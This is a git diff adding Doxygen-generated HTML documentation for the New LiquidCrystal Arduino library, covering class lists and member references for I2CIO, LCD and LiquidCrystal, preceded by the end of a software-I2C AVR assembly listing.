458  " sbis %[SCLIN], %[SCLPIN] ;check for SCL high ;; 9C +2X \n\t"
+
459  " rcall ass_i2c_wait_scl_high \n\t"
+
460  " brmi _Li2c_read_return ;return if timeout ;; 10C + 2X\n\t"
+
461  " clc ;clear carry flag ;; 11C + 2X\n\t"
+
462  " sbic %[SDAIN],%[SDAPIN] ;if SDA is high ;; 11C + 2X\n\t"
+
463  " sec ;set carry flag ;; 12C + 2X\n\t"
+
464  " rol r23 ;store bit ;; 13C + 2X\n\t"
+
465  " brcc _Li2c_read_bit ;while receiv reg not full \n\t"
+
466  " ;; 15C + 2X for one bit loop \n\t"
+
467 
+
468  "_Li2c_put_ack: \n\t"
+
469  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; 2C \n\t"
+
470  " cpi r24,0 ;; 3C \n\t"
+
471  " breq _Li2c_put_ack_low ;if (ack=0) ;; 5C \n\t"
+
472  " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t"
+
473  " rjmp _Li2c_put_ack_high \n\t"
+
474  "_Li2c_put_ack_low: ;else \n\t"
+
475  " sbi %[SDADDR],%[SDAPIN] ;force SDA low ;; 7C \n\t"
+
476  "_Li2c_put_ack_high: \n\t"
+
477  " nop \n\t "
+
478  " nop \n\t "
+
479  " nop \n\t "
+
480 #if I2C_DELAY_COUNTER >= 1
+
481  " rcall ass_i2c_delay_half ;delay T/2 ;; 7C + X \n\t"
+
482 #endif
+
483  " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; 9C +X \n\t"
+
484  " cln ;clear N ;; +1 = 10C\n\t"
+
485  " nop \n\t "
+
486  " nop \n\t "
+
487  " sbis %[SCLIN],%[SCLPIN] ;wait SCL high ;; 12C + X\n\t"
+
488  " rcall ass_i2c_wait_scl_high \n\t"
+
489 #if I2C_DELAY_COUNTER >= 1
+
490  " rcall ass_i2c_delay_half ;delay T/2 ;; 11C + 2X\n\t"
+
491 #endif
+
492  "_Li2c_read_return: \n\t"
+
493  " nop \n\t "
+
494  " nop \n\t "
+
495  "sbi %[SCLDDR],%[SCLPIN] ;force SCL low so SCL=H is short\n\t"
+
496  " mov r24,r23 ;; 12C + 2X \n\t"
+
497  " clr r25 ;; 13 C + 2X\n\t"
+
498  " ret ;; 17C + X"
+
499  ::
+
500  [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN),
+
501  [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), [SDAIN] "I" (SDA_IN)
+
502  );
+
503  return ' '; // fool the compiler!
+
504 }
+
505 
+
506 #endif
+
507 
+
508 
+
509 
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/annotated.html b/libraries/NewliquidCrystal/utility/docs/html/annotated.html new file mode 100644 index 0000000..1141c58 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/annotated.html @@ -0,0 +1,115 @@ + + + + + + +New LiquidCrystal library: Class List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
Class List
+
+
+
Here are the classes, structs, unions and interfaces with brief descriptions:
+ + + + + + + + + + + + +
 CI2CIO
 CLCD
 CLiquidCrystal
 CLiquidCrystal_I2C
 CLiquidCrystal_I2C_ByVac
 CLiquidCrystal_SI2C
 CLiquidCrystal_SR
 CLiquidCrystal_SR1W
 CLiquidCrystal_SR2W
 CLiquidCrystal_SR3W
 CSI2CIO
+
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/annotated_dup.js b/libraries/NewliquidCrystal/utility/docs/html/annotated_dup.js new file mode 100644 index 0000000..b5723f3 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/annotated_dup.js @@ -0,0 +1,15 @@ +var annotated_dup = +[ + [ "I2CIO", "class_i2_c_i_o.html", "class_i2_c_i_o" ], + [ "LCD", "class_l_c_d.html", "class_l_c_d" ], + [ "LiquidCrystal", "class_liquid_crystal.html", "class_liquid_crystal" ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html", "class_liquid_crystal___i2_c" ], + [ "LiquidCrystal_I2C_ByVac", "class_liquid_crystal___i2_c___by_vac.html", "class_liquid_crystal___i2_c___by_vac" ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html", "class_liquid_crystal___s_i2_c" ], + [ "LiquidCrystal_SR", "class_liquid_crystal___s_r.html", "class_liquid_crystal___s_r" ], + [ "LiquidCrystal_SR1W", "class_liquid_crystal___s_r1_w.html", "class_liquid_crystal___s_r1_w" ], + [ "LiquidCrystal_SR2W", "class_liquid_crystal___s_r2_w.html", "class_liquid_crystal___s_r2_w" ], + [ "LiquidCrystal_SR3W", "class_liquid_crystal___s_r3_w.html", "class_liquid_crystal___s_r3_w" ], + [ "SI2CIO", "class_s_i2_c_i_o.html", "class_s_i2_c_i_o" ], + [ "SoftI2CMaster", "class_soft_i2_c_master.html", "class_soft_i2_c_master" ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/arrowdown.png b/libraries/NewliquidCrystal/utility/docs/html/arrowdown.png new file mode 100644 index 0000000000000000000000000000000000000000..0b63f6d38c4b9ec907b820192ebe9724ed6eca22 GIT binary patch literal 246 zcmVkw!R34#Lv2LOS^S2tZA31X++9RY}n zChwn@Z)Wz*WWHH{)HDtJnq&A2hk$b-y(>?@z0iHr41EKCGp#T5?07*qoM6N<$f(V3Pvj6}9 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/arrowright.png b/libraries/NewliquidCrystal/utility/docs/html/arrowright.png new file mode 100644 index 0000000000000000000000000000000000000000..c6ee22f937a07d1dbfc27c669d11f8ed13e2f152 GIT binary patch literal 229 zcmV^P)R?RzRoKvklcaQ%HF6%rK2&ZgO(-ihJ_C zzrKgp4jgO( fd_(yg|3PpEQb#9`a?Pz_00000NkvXXu0mjftR`5K literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/bc_s.png b/libraries/NewliquidCrystal/utility/docs/html/bc_s.png new file mode 100644 index 0000000000000000000000000000000000000000..224b29aa9847d5a4b3902efd602b7ddf7d33e6c2 GIT binary patch literal 676 zcmV;V0$crwP)y__>=_9%My z{n931IS})GlGUF8K#6VIbs%684A^L3@%PlP2>_sk`UWPq@f;rU*V%rPy_ekbhXT&s z(GN{DxFv}*vZp`F>S!r||M`I*nOwwKX+BC~3P5N3-)Y{65c;ywYiAh-1*hZcToLHK ztpl1xomJ+Yb}K(cfbJr2=GNOnT!UFA7Vy~fBz8?J>XHsbZoDad^8PxfSa0GDgENZS zuLCEqzb*xWX2CG*b&5IiO#NzrW*;`VC9455M`o1NBh+(k8~`XCEEoC1Ybwf;vr4K3 zg|EB<07?SOqHp9DhLpS&bzgo70I+ghB_#)K7H%AMU3v}xuyQq9&Bm~++VYhF09a+U zl7>n7Jjm$K#b*FONz~fj;I->Bf;ule1prFN9FovcDGBkpg>)O*-}eLnC{6oZHZ$o% zXKW$;0_{8hxHQ>l;_*HATI(`7t#^{$(zLe}h*mqwOc*nRY9=?Sx4OOeVIfI|0V(V2 zBrW#G7Ss9wvzr@>H*`r>zE z+e8bOBgqIgldUJlG(YUDviMB`9+DH8n-s9SXRLyJHO1!=wY^79WYZMTa(wiZ!zP66 zA~!21vmF3H2{ngD;+`6j#~6j;$*f*G_2ZD1E;9(yaw7d-QnSCpK(cR1zU3qU0000< KMNUMnLSTYoA~SLT literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/bdwn.png b/libraries/NewliquidCrystal/utility/docs/html/bdwn.png new file mode 100644 index 0000000000000000000000000000000000000000..940a0b950443a0bb1b216ac03c45b8a16c955452 GIT binary patch literal 147 zcmeAS@N?(olHy`uVBq!ia0vp^>_E)H!3HEvS)PKZC{Gv1kP61Pb5HX&C2wk~_T + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
I2CIO Member List
+
+
+ +

This is the complete list of members for I2CIO, including all inherited members.

+ + + + + + + + + +
begin(uint8_t i2cAddr)I2CIO
digitalRead(uint8_t pin)I2CIO
digitalWrite(uint8_t pin, uint8_t level)I2CIO
I2CIO()I2CIO
pinMode(uint8_t pin, uint8_t dir)I2CIO
portMode(uint8_t dir)I2CIO
read(void)I2CIO
write(uint8_t value)I2CIO
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.html b/libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.html new file mode 100644 index 0000000..a9771f2 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.html @@ -0,0 +1,330 @@ + + + + + + +New LiquidCrystal library: I2CIO Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+Public Member Functions | +List of all members
+
+
I2CIO Class Reference
+
+
+ + + + + + + + + + + + + + + + + + +

+Public Member Functions

 I2CIO ()
 
int begin (uint8_t i2cAddr)
 
void pinMode (uint8_t pin, uint8_t dir)
 
void portMode (uint8_t dir)
 
uint8_t read (void)
 
uint8_t digitalRead (uint8_t pin)
 
int write (uint8_t value)
 
int digitalWrite (uint8_t pin, uint8_t level)
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + +
I2CIO::I2CIO ()
+
+

Constructor method Class constructor constructor.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + +
int I2CIO::begin (uint8_t i2cAddr)
+
+

Initializes the device. This method initializes the device allocating an I2C address. This method is the first method that should be call prior to calling any other method form this class. On initialization all pins are configured as INPUT on the device.

+
Parameters
+ + +
i2cAddrI2C Address where the device is located.
+
+
+
Returns
1 if the device was initialized correctly, 0 otherwise
+ +
+
+ +
+
+ + + + + + + + +
uint8_t I2CIO::digitalRead (uint8_t pin)
+
+

Read a pin from the device. Reads a particular pin from the device. To read a particular pin it has to be configured as INPUT. During initialization all pins are configured as INPUTs by default. Please refer to pinMode or portMode.

+
Parameters
+ + +
pin[in]Pin from the port to read its status. Range (0..7)
+
+
+
Returns
Returns the pin status (HIGH, LOW) if the pin is configured as an output, reading its value will always return LOW regardless of its real state.
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
int I2CIO::digitalWrite (uint8_t pin,
uint8_t level 
)
+
+

Writes a digital level to a particular pin. Write a level to the indicated pin of the device. For this method to have effect, the pin has to be configured as OUTPUT using the pinMode or portMode methods.

+
Parameters
+ + +
pin[in]device pin to change level. Range (0..7). level[in] logic level to set the pin at (HIGH, LOW).
+
+
+
Returns
1 on success, 0 otherwise.
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void I2CIO::pinMode (uint8_t pin,
uint8_t dir 
)
+
+

Sets the mode of a particular pin. Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite has no effect on pins which are not declared as output.

+
Parameters
+ + + +
pin[in]Pin from the I2C IO expander to be configured. Range 0..7
dir[in]Pin direction (INPUT, OUTPUT).
+
+
+ +
+
+ +
+
+ + + + + + + + +
void I2CIO::portMode (uint8_t dir)
+
+

Sets all the pins of the device in a particular direction. This method sets all the pins of the device in a particular direction. This method is useful to set all the pins of the device to be either inputs or outputs.

Parameters
+ + +
dir[in]Direction of all the pins of the device (INPUT, OUTPUT).
+
+
+ +
+
+ +
+
+ + + + + + + + +
uint8_t I2CIO::read (void )
+
+

Reads all the pins of the device that are configured as INPUT. Reads from the device the status of the pins that are configured as INPUT. During initialization all pins are configured as INPUTs by default. Please refer to pinMode or portMode.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
int I2CIO::write (uint8_t value)
+
+

Write a value to the device. Writes to a set of pins in the device. The value is the binary representation of all the pins in device. The value written is masked with the configuration of the direction of the pins; to change the state of a particular pin with this method, such pin has to be configured as OUTPUT using the portMode or pinMode methods. If no pins have been configured as OUTPUTs this method will have no effect.

+
Parameters
+ + +
value[in]value to be written to the device.
+
+
+
Returns
1 on success, 0 otherwise
+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/I2CIO.h
    • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/I2CIO.cpp
    • +
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.js b/libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.js new file mode 100644 index 0000000..d39ab9c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.js @@ -0,0 +1,11 @@ +var class_i2_c_i_o = +[ + [ "I2CIO", "class_i2_c_i_o.html#a32eb7832075ad6011d67874405a0d0a6", null ], + [ "begin", "class_i2_c_i_o.html#a6f814653d903dc2ff6e8420eeb7954ae", null ], + [ "digitalRead", "class_i2_c_i_o.html#ac26221011a8b49bcea9ef62712ea88a7", null ], + [ "digitalWrite", "class_i2_c_i_o.html#a473206162522b847546777d16a7c6dcd", null ], + [ "pinMode", "class_i2_c_i_o.html#a53b94274eb6bb68564cf5243323db887", null ], + [ "portMode", "class_i2_c_i_o.html#a0341888753bc54c4384f5593a870fb34", null ], + [ "read", "class_i2_c_i_o.html#a7a3db7bfc15ede0ae9e8c8bd44290ef7", null ], + [ "write", "class_i2_c_i_o.html#ae2063569c927d0008e2593d14504fdcd", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d-members.html b/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d-members.html new file mode 100644 index 0000000..1acd1a8 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d-members.html @@ -0,0 +1,136 @@ + + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LCD Member List
+
+
+ +

This is the complete list of members for LCD, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCDvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
setBacklight(uint8_t value)LCDinlinevirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LCDinlinevirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.html b/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.html new file mode 100644 index 0000000..c8246aa --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.html @@ -0,0 +1,887 @@ + + + + + + +New LiquidCrystal library: LCD Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+Public Member Functions | +Protected Attributes | +List of all members
+
+
LCD Class Reference
+
+
+
+Inheritance diagram for LCD:
+
+
+ + +LiquidCrystal +LiquidCrystal_I2C +LiquidCrystal_I2C_ByVac +LiquidCrystal_SI2C +LiquidCrystal_SR +LiquidCrystal_SR1W +LiquidCrystal_SR2W +LiquidCrystal_SR3W + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LCD ()
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void setBacklightPin (uint8_t value, t_backlighPol pol)
 
virtual void setBacklight (uint8_t value)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + +

+Protected Attributes

+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + +
LCD::LCD ()
+
+

LiquidCrystal abstract constructor. LiquidCrystal class abstract constructor needed to create the base abstract class.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + +
void LCD::autoscroll (void )
+
+

Turns on automatic scrolling of the LCD. Turns on automatic scrolling of the LCD. This causes each character output to the display to push previous characters over by one space. If the current text direction is left-to-right (the default), the display scrolls to the left; if the current direction is right-to-left, the display scrolls to the right. This has the effect of outputting each new character to the same location on the LCD.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::backlight (void )
+
+

Switch-on the LCD backlight. Switch-on the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + +
void LCD::begin (uint8_t cols,
uint8_t rows,
uint8_t charsize = LCD_5x8DOTS 
)
+ 		+virtual
+
+

LCD initialization. Initializes the LCD to a given size (col, row). This methods initializes the LCD, therefore, it MUST be called prior to using any other method from this class.

+

This method is abstract, a base implementation is available common to all LCD drivers. Should it not be compatible with some other LCD driver, a derived implementation should be done on the driver specif class.

+
Parameters
+ + + + +
cols[in]the number of columns that the display has
rows[in]the number of rows that the display has
charsize[in]character size, default==LCD_5x8DOTS
+
+
+ +

Reimplemented in LiquidCrystal_SI2C, LiquidCrystal_I2C, and LiquidCrystal_I2C_ByVac.

+ +
+
+ +
+
+ + + + + + + +
void LCD::blink ()
+
+

Display the cursor of the LCD. Display the blinking LCD cursor. If used in combination with the cursor() function, the result will depend on the particular display.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + +
void LCD::clear ()
+
+

Clears the LCD. Clears the LCD screen and positions the cursor in the upper-left corner.

+

This operation is time consuming for the LCD.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LCD::createChar (uint8_t location,
uint8_t charmap[] 
)
+
+

Creates a custom character for use on the LCD. Create a custom character (glyph) for use on the LCD. Most chipsets only support up to eight characters of 5x8 pixels. Therefore, this methods has been limited to locations (numbered 0 to 7).

+

The appearance of each custom character is specified by an array of eight bytes, one for each row. The five least significant bits of each byte determine the pixels in that row. To display a custom character on screen, write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7.

+
Parameters
+ + + +
location[in]LCD memory location of the character to create (0 to 7)
charmap[in]the bitmap array representing each row of the character.
+
+
+ +
+
+ +
+
+ + + + + + + +
void LCD::cursor ()
+
+

Display the LCD cursor. Display the LCD cursor: an underscore (line) at the location where the next character will be written.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + +
void LCD::display ()
+
+

Turns on the LCD display. Turns on the LCD display, after it's been turned off with noDisplay(). This will restore the text (and cursor location) that was on the display prior to calling noDisplay().

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + +
void LCD::home ()
+
+

Sets the cursor to the upper-left corner. Positions the cursor in the upper-left of the LCD. That is, use that location in outputting subsequent text to the display. To also clear the display, use the clear() function instead.

+

This operation is time consuming for the LCD.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::leftToRight (void )
+
+

Set the direction for text written to the LCD to left-to-right. Set the direction for text written to the LCD to left-to-right. All subsequent characters written to the display will go from left to right, but does not affect previously-output text.

+

This is the default configuration.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::moveCursorLeft (void )
+
+

Moves the cursor one space to the left.

Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::moveCursorRight (void )
+
+

Moves the cursor one space to the right.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::noAutoscroll (void )
+
+

Turns off automatic scrolling of the LCD. Turns off automatic scrolling of the LCD, this is the default configuration of the LCD.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::noBacklight (void )
+
+

Switch-off the LCD backlight. Switch-off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+ +
+
+ +
+
+ + + + + + + +
void LCD::noBlink ()
+
+

Turns off the blinking of the LCD cursor.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + +
void LCD::noCursor ()
+
+

Hides the LCD cursor.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + +
void LCD::noDisplay ()
+
+

Turns off the LCD display. Turns off the LCD display, without losing the text currently being displayed on it.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::off (void )
+
+

Switch off the LCD module. Switch off the LCD module, it will switch off the LCD controller and the backlight. This method has the same effect of calling noDisplay and noBacklight.

See also
display,
+
+backlight
+ +
+
+ +
+
+ + + + + + + + +
void LCD::on (void )
+
+

Switch on the LCD module. Switch on the LCD module, it will switch on the LCD controller and the backlight. This method has the same effect of calling display and backlight.

See also
display,
+
+backlight
+ +
+
+ +
+
+ + + + + + + + +
void LCD::rightToLeft (void )
+
+

Set the direction for text written to the LCD to right-to-left. Set the direction for text written to the LCD to right-to-left. All subsequent characters written to the display will go from right to left, but does not affect previously-output text.

+

left-to-right is the default configuration.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::scrollDisplayLeft (void )
+
+

Scrolls the contents of the display (text and cursor) one space to the left.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::scrollDisplayRight (void )
+
+

Scrolls the contents of the display (text and cursor) one space to the right.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
virtual void LCD::setBacklight (uint8_t value)
+ 		+inlinevirtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. The behaviour of this method is very dependent on the device. Some controllers support dimming some don't. Please read the actual header file for each individual device. The setBacklightPin method has to be called before setting the backlight or the adequate backlight control constructor.

See also
setBacklightPin.
+

NOTE: The prefered methods to control the backlight are "backlight" and "noBacklight".

+
Parameters
+ + +
0..255- the value is very dependent on the LCD. However, BACKLIGHT_OFF will be interpreted as off and BACKLIGHT_ON will drive the backlight on.
+
+
+ +

Reimplemented in LiquidCrystal_SR1W, LiquidCrystal_SR2W, LiquidCrystal_SR3W, LiquidCrystal_SI2C, LiquidCrystal_I2C, LiquidCrystal_SR, LiquidCrystal, and LiquidCrystal_I2C_ByVac.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
virtual void LCD::setBacklightPin (uint8_t value,
t_backlighPol pol 
)
+ 		+inlinevirtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This method is device dependent and can be programmed on each subclass. An empty function call is provided that does nothing.

+
Parameters
+ + + +
valuepin associated to backlight control.
polbacklight polarity control (POSITIVE, NEGATIVE)
+
+
+ +

Reimplemented in LiquidCrystal_SR3W, LiquidCrystal_SI2C, LiquidCrystal_I2C, LiquidCrystal_SR, and LiquidCrystal.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LCD::setCursor (uint8_t col,
uint8_t row 
)
+
+

Position the LCD cursor. Sets the position of the LCD cursor. Set the location at which subsequent text written to the LCD will be displayed.

+
Parameters
+ + + +
col[in]LCD column
row[in]LCD row - line.
+
+
+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LCD::write (uint8_t value)
+ 		+virtual
+
+

Writes to the LCD. This method writes character to the LCD in the current cursor position.

+

This is the virtual write method, implemented in the Print class, therefore all Print class methods will end up calling this method.

+
Parameters
+ + +
value[in]Value to write to the LCD.
+
+
+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LCD.h
    • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LCD.cpp
    • +
+
+ +
+Generated by   +doxygen + 1.8.10 +
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+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal Member List
+
+
+ +

This is the complete list of members for LiquidCrystal, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCDvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) (defined in LiquidCrystal)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol) (defined in LiquidCrystal)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol) (defined in LiquidCrystal)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3) (defined in LiquidCrystal)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol) (defined in LiquidCrystal)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol) (defined in LiquidCrystal)LiquidCrystal
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystalvirtual
setBacklight(uint8_t value)LiquidCrystalvirtual
setBacklightPin(uint8_t pin, t_backlighPol pol)LiquidCrystalvirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.html new file mode 100644 index 0000000..5886c9c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.html @@ -0,0 +1,477 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+Public Member Functions | +List of all members
+
+
LiquidCrystal Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

